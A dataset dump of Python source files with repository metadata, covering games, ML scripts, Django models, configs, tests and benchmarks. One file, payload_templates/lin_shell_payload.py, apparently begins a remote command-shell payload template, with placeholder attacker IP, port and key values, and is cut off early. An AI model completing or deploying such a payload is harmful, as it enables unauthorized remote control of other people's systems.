hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
b161de6456d6f8b14c33e69247fe9c0fa8b2fa93
23,850
py
Python
TicTacToe2.py
tlively/N-TicTacToe
db1143e2e94012451ba590952670452431814b7b
[ "MIT" ]
6
2017-10-03T13:37:54.000Z
2020-12-21T07:34:01.000Z
TicTacToe2.py
tlively/N-TicTacToe
db1143e2e94012451ba590952670452431814b7b
[ "MIT" ]
null
null
null
TicTacToe2.py
tlively/N-TicTacToe
db1143e2e94012451ba590952670452431814b7b
[ "MIT" ]
4
2017-07-04T18:53:52.000Z
2021-03-24T03:15:07.000Z
# N-Dimensional Tic-Tac-Toe by Thomas Lively from __future__ import division import curses, curses.ascii, sys # logical representation of the n-dimensional board as a single list class Model(object): def __init__(self, dimensions=2, size=0, players=2): if size < 3: size = dimensions+1 ...
38.405797
94
0.512704
2,769
23,850
4.293969
0.12026
0.021026
0.009588
0.015139
0.375021
0.313541
0.269975
0.216989
0.183516
0.169722
0
0.020806
0.391405
23,850
620
95
38.467742
0.798347
0.076855
0
0.30315
0
0
0.015743
0
0
0
0
0
0
0
null
null
0.001969
0.003937
null
null
0.025591
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b1623f67cebbb4df1eda133e8176caaaf6a0be46
4,819
py
Python
src/classical_ml/pca.py
Jagriti-dixit/CS229_Project_Final
16fdb55086411dee17153e88b2499c378cdfc096
[ "MIT" ]
null
null
null
src/classical_ml/pca.py
Jagriti-dixit/CS229_Project_Final
16fdb55086411dee17153e88b2499c378cdfc096
[ "MIT" ]
null
null
null
src/classical_ml/pca.py
Jagriti-dixit/CS229_Project_Final
16fdb55086411dee17153e88b2499c378cdfc096
[ "MIT" ]
null
null
null
import sys import time from comet_ml import Experiment import pydub import numpy as np from pydub import AudioSegment import librosa import librosa.display import matplotlib.pyplot as plt import sklearn from sklearn import preprocessing from sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing import St...
31.496732
97
0.775265
763
4,819
4.68152
0.266055
0.06467
0.030235
0.040314
0.226764
0.116461
0.095745
0.06551
0.040314
0.040314
0
0.017886
0.106661
4,819
152
98
31.703947
0.811847
0.069724
0
0.104839
0
0
0.147427
0.006264
0
0
0
0
0
1
0
false
0
0.330645
0
0.330645
0.104839
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
b166eaf0f74796997babad39184ea07ba1f3c842
948
py
Python
main/models/sign.py
fakegit/gxgk-wechat-server
89ad21bcd2dcd1c28e43d4b230d47207e78098b3
[ "MIT" ]
1,564
2015-09-01T13:11:02.000Z
2022-03-29T08:44:56.000Z
main/models/sign.py
fakegit/gxgk-wechat-server
89ad21bcd2dcd1c28e43d4b230d47207e78098b3
[ "MIT" ]
11
2015-12-13T05:04:15.000Z
2019-09-10T06:14:03.000Z
main/models/sign.py
fakegit/gxgk-wechat-server
89ad21bcd2dcd1c28e43d4b230d47207e78098b3
[ "MIT" ]
649
2015-12-11T09:23:09.000Z
2022-03-04T17:31:28.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from . import db class Sign(db.Model): __table_args__ = { 'mysql_engine': 'InnoDB', 'mysql_charset': 'utf8mb4' } openid = db.Column(db.String(32), primary_key=True, unique=True, nullable=False) lastsigntime = db.Col...
26.333333
70
0.619198
109
948
5.238532
0.440367
0.056042
0.070053
0.110333
0.252189
0.252189
0.150613
0.150613
0
0
0
0.01138
0.258439
948
35
71
27.085714
0.800853
0.044304
0
0.16
0
0
0.054204
0
0
0
0
0
0
1
0.16
false
0
0.04
0.04
0.56
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
b17399bedc9351d3452e2254d35db67407d43d19
11,201
py
Python
payload_templates/lin_shell_payload.py
ahirejayeshbapu/python-shell
3560fe03f89557c1189255ca2737accdeda48faf
[ "MIT" ]
4
2018-09-20T13:37:28.000Z
2022-02-23T00:36:55.000Z
payload_templates/lin_shell_payload.py
ahirejayeshbapu/python-shell
3560fe03f89557c1189255ca2737accdeda48faf
[ "MIT" ]
null
null
null
payload_templates/lin_shell_payload.py
ahirejayeshbapu/python-shell
3560fe03f89557c1189255ca2737accdeda48faf
[ "MIT" ]
null
null
null
import subprocess, os, socket, re, pickle, docx, urllib2 from platform import platform from getpass import getuser from time import sleep from datetime import datetime port = !!!!! ip_addr = @@@@@ lkey = ##### End = $$$$$ skey = %%%%% time_to_sleep = ^^^^^ type_of_scout = 'Command Shell' try: operati...
37.713805
130
0.44871
1,078
11,201
4.579777
0.204082
0.064817
0.028965
0.036459
0.263318
0.215718
0.166498
0.155965
0.097022
0.073121
0
0.006444
0.445853
11,201
296
131
37.841216
0.788948
0.001607
0
0.403704
0
0.003704
0.231618
0
0
0
0
0
0
0
null
null
0.003704
0.018519
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b17898d3cc02bf7ea9e57ca3010adf0a3b3916ab
435
py
Python
source/blockchain_backup/config/gunicorn.conf.py
denova-com/blockchain-backup
a445bcbd67bd6485a4969dc1e24d51fbffc43cff
[ "OLDAP-2.6", "OLDAP-2.4" ]
null
null
null
source/blockchain_backup/config/gunicorn.conf.py
denova-com/blockchain-backup
a445bcbd67bd6485a4969dc1e24d51fbffc43cff
[ "OLDAP-2.6", "OLDAP-2.4" ]
null
null
null
source/blockchain_backup/config/gunicorn.conf.py
denova-com/blockchain-backup
a445bcbd67bd6485a4969dc1e24d51fbffc43cff
[ "OLDAP-2.6", "OLDAP-2.4" ]
null
null
null
# See # The configuration file should be a valid Python source file with a python extension (e.g. gunicorn.conf.py). # https://docs.gunicorn.org/en/stable/configure.html bind='127.0.0.1:8962' timeout=75 daemon=True user='user' accesslog='/var/local/log/user/blockchain_backup.gunicorn.access.log' errorlog='/var/l...
29
113
0.777011
71
435
4.690141
0.71831
0.048048
0.066066
0.09009
0.234234
0.234234
0.234234
0
0
0
0
0.035264
0.087356
435
14
114
31.071429
0.803526
0.388506
0
0
0
0
0.519084
0.431298
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b1791920593f4e50adb1ee5900ad47f68783a7d1
211
py
Python
code_snippets/api-monitor-schedule-downtime.py
brettlangdon/documentation
87c23cb1d5e3e877bb37a19f7231b5d9239509dc
[ "BSD-3-Clause" ]
null
null
null
code_snippets/api-monitor-schedule-downtime.py
brettlangdon/documentation
87c23cb1d5e3e877bb37a19f7231b5d9239509dc
[ "BSD-3-Clause" ]
null
null
null
code_snippets/api-monitor-schedule-downtime.py
brettlangdon/documentation
87c23cb1d5e3e877bb37a19f7231b5d9239509dc
[ "BSD-3-Clause" ]
null
null
null
from datadog import initialize, api options = { 'api_key': 'api_key', 'app_key': 'app_key' } initialize(**options) # Schedule downtime api.Downtime.create(scope='env:staging', start=int(time.time()))
17.583333
64
0.691943
28
211
5.071429
0.607143
0.084507
0.126761
0
0
0
0
0
0
0
0
0
0.14218
211
11
65
19.181818
0.78453
0.080569
0
0
0
0
0.203125
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b17a29c0eb42919a5d5dc662a31db12c22531561
4,596
py
Python
plugins/base/views.py
adlerosn/corpusslayer
d3dea2e2d15e911d048a39f6ef6cb2d5f7b33e58
[ "MIT" ]
null
null
null
plugins/base/views.py
adlerosn/corpusslayer
d3dea2e2d15e911d048a39f6ef6cb2d5f7b33e58
[ "MIT" ]
1
2019-07-06T20:43:45.000Z
2019-07-06T20:43:45.000Z
plugins/base/views.py
adlerosn/corpusslayer
d3dea2e2d15e911d048a39f6ef6cb2d5f7b33e58
[ "MIT" ]
null
null
null
# Copyright (c) 2017 Adler Neves <adlerosn@gmail.com> # # MIT License # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, ...
38.3
104
0.698216
579
4,596
5.474957
0.392055
0.031546
0.013249
0.018927
0.13123
0.056151
0.034069
0.018927
0
0
0
0.007913
0.202567
4,596
119
105
38.621849
0.857026
0.258921
0
0.142857
0
0
0.069231
0.014793
0
0
0
0
0
1
0.071429
false
0
0.285714
0
0.511905
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
b17bb1524daf129418a0726643402df5cb23be6d
691
py
Python
tests/test_constants.py
9cat/dydx-v3-python
c222f3d0b1a870e63fcceaf19b42109c9558a6df
[ "Apache-2.0" ]
null
null
null
tests/test_constants.py
9cat/dydx-v3-python
c222f3d0b1a870e63fcceaf19b42109c9558a6df
[ "Apache-2.0" ]
null
null
null
tests/test_constants.py
9cat/dydx-v3-python
c222f3d0b1a870e63fcceaf19b42109c9558a6df
[ "Apache-2.0" ]
null
null
null
from dydx3.constants import SYNTHETIC_ASSET_MAP, SYNTHETIC_ASSET_ID_MAP, ASSET_RESOLUTION, COLLATERAL_ASSET class TestConstants(): def test_constants_have_regular_structure(self): for market, asset in SYNTHETIC_ASSET_MAP.items(): market_parts = market.split('-') base_token, quote_t...
40.647059
107
0.688857
86
691
5.197674
0.430233
0.187919
0.152125
0.085011
0.120805
0
0
0
0
0
0
0.003724
0.222865
691
16
108
43.1875
0.828678
0
0
0
0
0
0.005789
0
0
0
0
0
0.416667
1
0.083333
false
0
0.083333
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
b17fee2e7308f25f04ee5daea15a5c921b98ff99
2,009
py
Python
cifar_exps/metric/local_config.py
maestrojeong/Deep-Hash-Table-ICML18-
0c7efa230f950d5a2cd1928ac9f5d99f4276d2b5
[ "MIT" ]
70
2018-06-03T04:19:13.000Z
2021-11-08T10:40:46.000Z
cifar_exps/metric/local_config.py
maestrojeong/Deep-Hash-Table-ICML18-
0c7efa230f950d5a2cd1928ac9f5d99f4276d2b5
[ "MIT" ]
null
null
null
cifar_exps/metric/local_config.py
maestrojeong/Deep-Hash-Table-ICML18-
0c7efa230f950d5a2cd1928ac9f5d99f4276d2b5
[ "MIT" ]
14
2018-06-03T16:34:55.000Z
2020-09-09T17:02:30.000Z
import sys sys.path.append("../../configs") #../../configs from path import EXP_PATH import numpy as np DECAY_PARAMS_DICT =\ { 'stair' : { 128 :{ 'a1': {'initial_lr' : 1e-5, 'decay_steps' : 50000, 'decay_rate' : 0.3}, 'a2' : {'initial_lr' : 3e-4, 'decay_step...
36.527273
88
0.47337
254
2,009
3.614173
0.318898
0.022876
0.081699
0.108932
0.525054
0.30719
0.30719
0.058824
0
0
0
0.177888
0.297661
2,009
54
89
37.203704
0.472714
0.060727
0
0.042553
0
0
0.216605
0
0
0
0
0
0
1
0
false
0
0.06383
0
0.06383
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b18129f45c367129cdadaeeefa97748f7c44101b
1,133
py
Python
POO punto 2/ManagerUsers.py
nan0te/Python-Algorithm-And-DataStructure
7b7802b56d397c38f230f5efb687cedc6cc263f3
[ "MIT" ]
null
null
null
POO punto 2/ManagerUsers.py
nan0te/Python-Algorithm-And-DataStructure
7b7802b56d397c38f230f5efb687cedc6cc263f3
[ "MIT" ]
null
null
null
POO punto 2/ManagerUsers.py
nan0te/Python-Algorithm-And-DataStructure
7b7802b56d397c38f230f5efb687cedc6cc263f3
[ "MIT" ]
null
null
null
from Profesional import Profesional from Particular import Particular from Comercial import Comercial class ManagerUsers: userslist = [] def addProfesional(self, name, address, baja, area, titulo): profesional = Profesional(name, address, baja, area, titulo) self.userslist.append(profes...
28.325
68
0.620477
118
1,133
5.957627
0.305085
0.093883
0.128023
0.081081
0.369844
0.122333
0.122333
0.122333
0.122333
0.122333
0
0.002481
0.288614
1,133
39
69
29.051282
0.869727
0
0
0.25
0
0
0
0
0
0
0
0
0
0
null
null
0
0.107143
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b188895e8bd69c46255cb2668635f56b60539874
14,875
py
Python
tests/test_gpath.py
ConductorTechnologies/ciopath
574bfc38859cc68a80b98f8b0cf0d9aeddb646e5
[ "MIT" ]
1
2020-10-13T07:50:19.000Z
2020-10-13T07:50:19.000Z
tests/test_gpath.py
ConductorTechnologies/ciopath
574bfc38859cc68a80b98f8b0cf0d9aeddb646e5
[ "MIT" ]
null
null
null
tests/test_gpath.py
ConductorTechnologies/ciopath
574bfc38859cc68a80b98f8b0cf0d9aeddb646e5
[ "MIT" ]
null
null
null
""" test gpath isort:skip_file """ import os import sys import unittest try: from unittest import mock except ImportError: import mock SRC = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "src") if SRC not in sys.path: sys.path.insert(0, SRC) from ciopath.gpath import Pat...
32.620614
93
0.604034
2,099
14,875
4.079562
0.093378
0.067733
0.028378
0.086418
0.75616
0.698937
0.67815
0.645101
0.600958
0.55588
0
0.003749
0.210891
14,875
455
94
32.692308
0.725762
0.004571
0
0.324324
0
0
0.137199
0.046634
0
0
0
0
0.294294
1
0.264264
false
0
0.024024
0
0.345345
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
b188c34a63c4e8f52180a384c6fb116f6a431c46
7,184
py
Python
model_compression_toolkit/gptq/pytorch/quantization_facade.py
ofirgo/model_optimization
18be895a35238df128913183b05e60550c2b6e6b
[ "Apache-2.0" ]
42
2021-10-31T10:17:49.000Z
2022-03-21T08:51:46.000Z
model_compression_toolkit/gptq/pytorch/quantization_facade.py
ofirgo/model_optimization
18be895a35238df128913183b05e60550c2b6e6b
[ "Apache-2.0" ]
6
2021-10-31T15:06:03.000Z
2022-03-31T10:32:53.000Z
model_compression_toolkit/gptq/pytorch/quantization_facade.py
ofirgo/model_optimization
18be895a35238df128913183b05e60550c2b6e6b
[ "Apache-2.0" ]
18
2021-11-01T12:16:43.000Z
2022-03-25T16:52:37.000Z
# Copyright 2022 Sony Semiconductors Israel, Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
60.369748
334
0.680122
783
7,184
6.058748
0.321839
0.057336
0.08242
0.07968
0.177909
0.157462
0.090852
0.068086
0.029511
0.029511
0
0.003956
0.260997
7,184
118
335
60.881356
0.889621
0.464226
0
0
0
0
0.120762
0.035304
0
0
0
0
0
1
0.042553
false
0.021277
0.382979
0
0.446809
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
b18ee92e764bf93ddc723331ee49b72f1366542a
4,403
py
Python
adapters/adapter.py
ChristfriedBalizou/jeamsql
abd7735831b572f1f1a2d8e47b0759801fd5881c
[ "MIT" ]
null
null
null
adapters/adapter.py
ChristfriedBalizou/jeamsql
abd7735831b572f1f1a2d8e47b0759801fd5881c
[ "MIT" ]
null
null
null
adapters/adapter.py
ChristfriedBalizou/jeamsql
abd7735831b572f1f1a2d8e47b0759801fd5881c
[ "MIT" ]
null
null
null
from tabulate.tabulate import tabulate import subprocess import sys import os import re import csv import io import json class Adapter(object): def __init__(self, server=None, port=None, user=None, connection_cmd=None, cmd=None, test_query=...
24.461111
81
0.539859
476
4,403
4.806723
0.302521
0.048951
0.026224
0.034965
0.09222
0.041958
0
0
0
0
0
0.000723
0.371792
4,403
179
82
24.597765
0.826464
0
0
0.219048
0
0
0.041839
0
0
0
0
0
0
0
null
null
0.038095
0.07619
null
null
0.019048
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b192ffd8dc0dbef0c193761ff4f0641070958f09
3,384
py
Python
topologies/dc_t1.py
andriymoroz/sai-challenger
665f5dbff8c797cfd55cc0c13b03a77aefdb9977
[ "Apache-2.0" ]
11
2021-04-23T05:54:05.000Z
2022-03-29T16:37:42.000Z
topologies/dc_t1.py
andriymoroz/sai-challenger
665f5dbff8c797cfd55cc0c13b03a77aefdb9977
[ "Apache-2.0" ]
4
2021-06-02T11:05:31.000Z
2021-11-26T14:39:50.000Z
topologies/dc_t1.py
andriymoroz/sai-challenger
665f5dbff8c797cfd55cc0c13b03a77aefdb9977
[ "Apache-2.0" ]
14
2021-02-27T15:17:31.000Z
2021-11-01T10:15:51.000Z
from contextlib import contextmanager import pytest from sai import SaiObjType @contextmanager def config(npu): topo_cfg = { "lo_rif_oid": None, "cpu_port_oid": None, } # Create Loopback RIF lo_rif_oid = npu.create(SaiObjType.ROUTER_INTERFACE, [ ...
40.285714
110
0.637411
477
3,384
4.100629
0.178197
0.015337
0.018405
0.07362
0.445808
0.367076
0.293456
0.265337
0.244888
0.244888
0
0.031113
0.259161
3,384
83
111
40.771084
0.749103
0.100768
0
0.185185
0
0
0.295575
0.251321
0
0
0.002972
0.012048
0
1
0.018519
false
0
0.055556
0
0.074074
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
b193f13f0d572526822d816991b5f3105ef56820
7,045
py
Python
asynchronous_qiwi/models/QIWIWallet/master_m/list_qvc.py
LexLuthorReal/asynchronous_qiwi
5847a8d4008493656e973e5283888a4e57234962
[ "MIT" ]
3
2021-05-20T02:36:30.000Z
2021-11-28T16:00:15.000Z
asynchronous_qiwi/models/QIWIWallet/master_m/list_qvc.py
LexLuthorReal/asynchronous_qiwi
5847a8d4008493656e973e5283888a4e57234962
[ "MIT" ]
null
null
null
asynchronous_qiwi/models/QIWIWallet/master_m/list_qvc.py
LexLuthorReal/asynchronous_qiwi
5847a8d4008493656e973e5283888a4e57234962
[ "MIT" ]
1
2021-11-28T16:00:20.000Z
2021-11-28T16:00:20.000Z
from loguru import logger import datetime from pydantic.fields import ModelField from typing import Optional, List, Union, Any from ....utils.tools.str_datetime import convert from pydantic import BaseModel, Field, validator, ValidationError from ....data_types.QIWIWallet.list_qvc import ReleasedCardStatus, CardType, C...
41.686391
107
0.628957
753
7,045
5.776892
0.14077
0.087356
0.050805
0.044138
0.413793
0.361839
0.297931
0.28069
0.163678
0.163678
0
0
0.239461
7,045
168
108
41.934524
0.81187
0.002839
0
0.386207
0
0
0.073383
0.011969
0
0
0
0
0
1
0.055172
false
0
0.048276
0
0.551724
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
b194d8469a9b5649a06d4a8f9eab020579871edb
818
py
Python
src/mciso/visualize.py
lancechua/mciso
2fd406b7c54f9cb6b331ae8ad3470d1f47696494
[ "MIT" ]
2
2021-08-06T14:20:37.000Z
2022-03-29T16:13:10.000Z
src/mciso/visualize.py
lancechua/mciso
2fd406b7c54f9cb6b331ae8ad3470d1f47696494
[ "MIT" ]
null
null
null
src/mciso/visualize.py
lancechua/mciso
2fd406b7c54f9cb6b331ae8ad3470d1f47696494
[ "MIT" ]
1
2021-08-06T14:21:13.000Z
2021-08-06T14:21:13.000Z
import matplotlib.pyplot as plt import pandas as pd def scenarios_by_product( X: "np.ndarray", indices: list, products: list, ax: plt.Axes = None ) -> plt.Axes: """Plot generated scenarios, with a subplot for each product""" if ax is None: _, ax = plt.subplots(X.shape[-1], 1, figsize=(8, X.shape[-...
27.266667
87
0.57335
119
818
3.890756
0.529412
0.025918
0.030238
0.056156
0.064795
0.064795
0
0
0
0
0
0.021631
0.265281
818
29
88
28.206897
0.748752
0.069682
0
0
1
0
0.027815
0
0
0
0
0
0
1
0.047619
false
0
0.095238
0
0.190476
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b19975a6c0f70cdf1b6594a54b946673ec51a754
11,349
py
Python
benchmarks/benchmarks.py
alanefl/vdf-competition
84efc3aec180c43582c9421c6fb7fb2e22000635
[ "Apache-2.0" ]
97
2018-10-04T18:10:42.000Z
2021-08-23T10:37:06.000Z
benchmarks/benchmarks.py
alanefl/vdf-competition
84efc3aec180c43582c9421c6fb7fb2e22000635
[ "Apache-2.0" ]
4
2018-10-04T18:20:49.000Z
2021-05-03T07:13:14.000Z
benchmarks/benchmarks.py
alanefl/vdf-competition
84efc3aec180c43582c9421c6fb7fb2e22000635
[ "Apache-2.0" ]
17
2018-10-08T18:08:21.000Z
2022-01-12T00:54:32.000Z
import time import textwrap import math import binascii from inkfish.create_discriminant import create_discriminant from inkfish.classgroup import ClassGroup from inkfish.iterate_squarings import iterate_squarings from inkfish import proof_wesolowski from inkfish.proof_of_time import (create_proof_of_time_nwesolowski,...
38.602041
114
0.707639
1,225
11,349
6.32898
0.160816
0.028892
0.033535
0.03289
0.55385
0.542113
0.517864
0.502515
0.498904
0.466916
0
0.264093
0.201251
11,349
293
115
38.733788
0.591175
0.004406
0
0.542986
0
0
0.279564
0.172398
0
0
0
0
0.013575
1
0.040724
false
0
0.049774
0
0.090498
0.0181
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b19995883a43664eea79cdbbf4ebcc8afcf1f9f2
2,415
py
Python
ccl_dask_blizzard.py
michaelleerilee/CCL-M2BLIZZARD
ff936647d69c5e83553b55d84d7b3a0636290c77
[ "BSD-3-Clause" ]
null
null
null
ccl_dask_blizzard.py
michaelleerilee/CCL-M2BLIZZARD
ff936647d69c5e83553b55d84d7b3a0636290c77
[ "BSD-3-Clause" ]
null
null
null
ccl_dask_blizzard.py
michaelleerilee/CCL-M2BLIZZARD
ff936647d69c5e83553b55d84d7b3a0636290c77
[ "BSD-3-Clause" ]
null
null
null
import numpy as np from load_for_ccl_inputs import load_for_ccl_inputs from ccl_marker_stack import ccl_dask base = '/home/mrilee/nobackup/tmp/others/' fnames = None if False: fnames = ['ccl-inputs-globe-122736+23.csv.gz'] if False: fnames = ['ccl-inputs-globe-122736+23.csv.gz' ...
30.56962
119
0.670807
358
2,415
4.293296
0.332402
0.081978
0.135329
0.052049
0.424854
0.374105
0.296031
0.259597
0.233572
0.233572
0
0.065449
0.183851
2,415
78
120
30.961538
0.714358
0.171843
0
0.272727
0
0
0.308539
0.291252
0
0
0
0
0
0
null
null
0
0.068182
null
null
0.181818
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b19b6144712313556ed4af7f1913f9e90750f30c
1,065
py
Python
homepairs/HomepairsApp/Apps/Tenants/migrations/0001_initial.py
YellowRainBoots/2.0
bf215350c2da0ab28ad2ec6f9338fb1b73b3f2e5
[ "MIT" ]
1
2021-01-19T00:48:10.000Z
2021-01-19T00:48:10.000Z
homepairs/HomepairsApp/Apps/Tenants/migrations/0001_initial.py
YellowRainBoots/2.0
bf215350c2da0ab28ad2ec6f9338fb1b73b3f2e5
[ "MIT" ]
17
2020-01-23T05:51:18.000Z
2020-06-16T02:33:41.000Z
homepairs/HomepairsApp/Apps/Tenants/migrations/0001_initial.py
YellowRainBoots/2.0
bf215350c2da0ab28ad2ec6f9338fb1b73b3f2e5
[ "MIT" ]
1
2020-08-06T02:10:58.000Z
2020-08-06T02:10:58.000Z
# Generated by Django 3.0.2 on 2020-03-03 21:48 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('PropertyManagers', '0001_initial'), ('Properties', '0001_initial'), ] operations = [ ...
35.5
139
0.611268
110
1,065
5.818182
0.536364
0.05
0.1125
0.15
0.20625
0.121875
0.121875
0.121875
0
0
0
0.042447
0.247887
1,065
29
140
36.724138
0.756554
0.042254
0
0
1
0
0.145383
0.031434
0
0
0
0
0
1
0
false
0.045455
0.090909
0
0.272727
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b1a21975ae4f7b1e5e6eec59130eae251c21b5f0
2,159
py
Python
backend/fetch_tweet.py
